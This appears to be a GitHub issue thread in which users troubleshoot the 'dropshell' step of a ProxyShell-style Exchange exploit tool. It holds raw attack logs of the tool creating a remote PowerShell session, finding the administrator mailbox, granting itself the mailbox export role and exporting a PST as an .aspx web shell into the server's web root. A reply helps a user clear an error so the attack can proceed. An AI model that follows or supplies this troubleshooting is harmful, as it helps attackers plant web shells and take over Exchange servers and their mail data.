Error when dropshell

[0x076d]

I have this message when dropshell. Please give me a guide or something to solve this problem

"The name must be unique per mailbox. There isn't a default name available for a new request owned by mailbox 'Administrator'. Please clean up existing requests by using the Remove cmdlet or specify a unique name"

[dmaasland]

Use Remove-MailboxExportRequest to remove old exports for that mailbox

[antonbek89]

I have also issue with the Dropshell command

PS> dropshell
[+] Created powershell session on test.wh
127.0.0.1 - - [17/Nov/2021 12:43:23] "POST /wsman HTTP/1.1" 200 -
[-] Load balanced to wrong server: test2.wh
127.0.0.1 - - [17/Nov/2021 12:43:24] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [17/Nov/2021 12:43:25] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [17/Nov/2021 12:43:25] "POST /wsman HTTP/1.1" 200 -
[+] Attempting to lookup email for S-1-5-21-1603869054-1149995354-4139845129-500
127.0.0.1 - - [17/Nov/2021 12:43:33] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [17/Nov/2021 12:43:34] "POST /wsman HTTP/1.1" 200 -
OUTPUT:
[email protected]
ERROR:

[+] Successfully obtained email: [email protected]
[+] Attempting to assign export permission role to [email protected]
[-] Load balanced to wrong server: test2.wh
127.0.0.1 - - [17/Nov/2021 12:43:35] "POST /wsman HTTP/1.1" 200 -
127.0.0.1 - - [17/Nov/2021 12:43:36] "POST /wsman HTTP/1.1" 200 -
OUTPUT:
Mailbox Import Export-Administrator-30
ERROR:

[+] Successfully assigned export permission role to [email protected]
[+] Attempting to export PST for [email protected] to C:\inetpub\wwwroot\aspnet_client\ouusqtzjlgtjnenp.aspx
127.0.0.1 - - [17/Nov/2021 12:43:36] "POST /wsman HTTP/1.1" 200 -
[-] Load balanced to wrong server: test2.wh
127.0.0.1 - - [17/Nov/2021 12:43:40] "POST /wsman HTTP/1.1" 200 -
OUTPUT:

ERROR:
Unable to open PST file '\\localhost\c$\inetpub\wwwroot\aspnet_client\ouusqtzjlgtjnenp.aspx'. Error details: Access to the path '\\localhost\c$\inetpub\wwwroot\aspnet_client\ouusqtzjlgtjnenp.aspx' is denied.
[-] Load balanced to wrong server: test2.wh
[-] Load balanced to wrong server: test2.wh
[-] Load balanced to wrong server: test2.wh
[-] Load balanced to wrong server: test2.wh
[-] Load balanced to wrong server: test2.wh
127.0.0.1 - - [17/Nov/2021 12:43:42] "POST /wsman HTTP/1.1" 200 -

How I need to solve it ?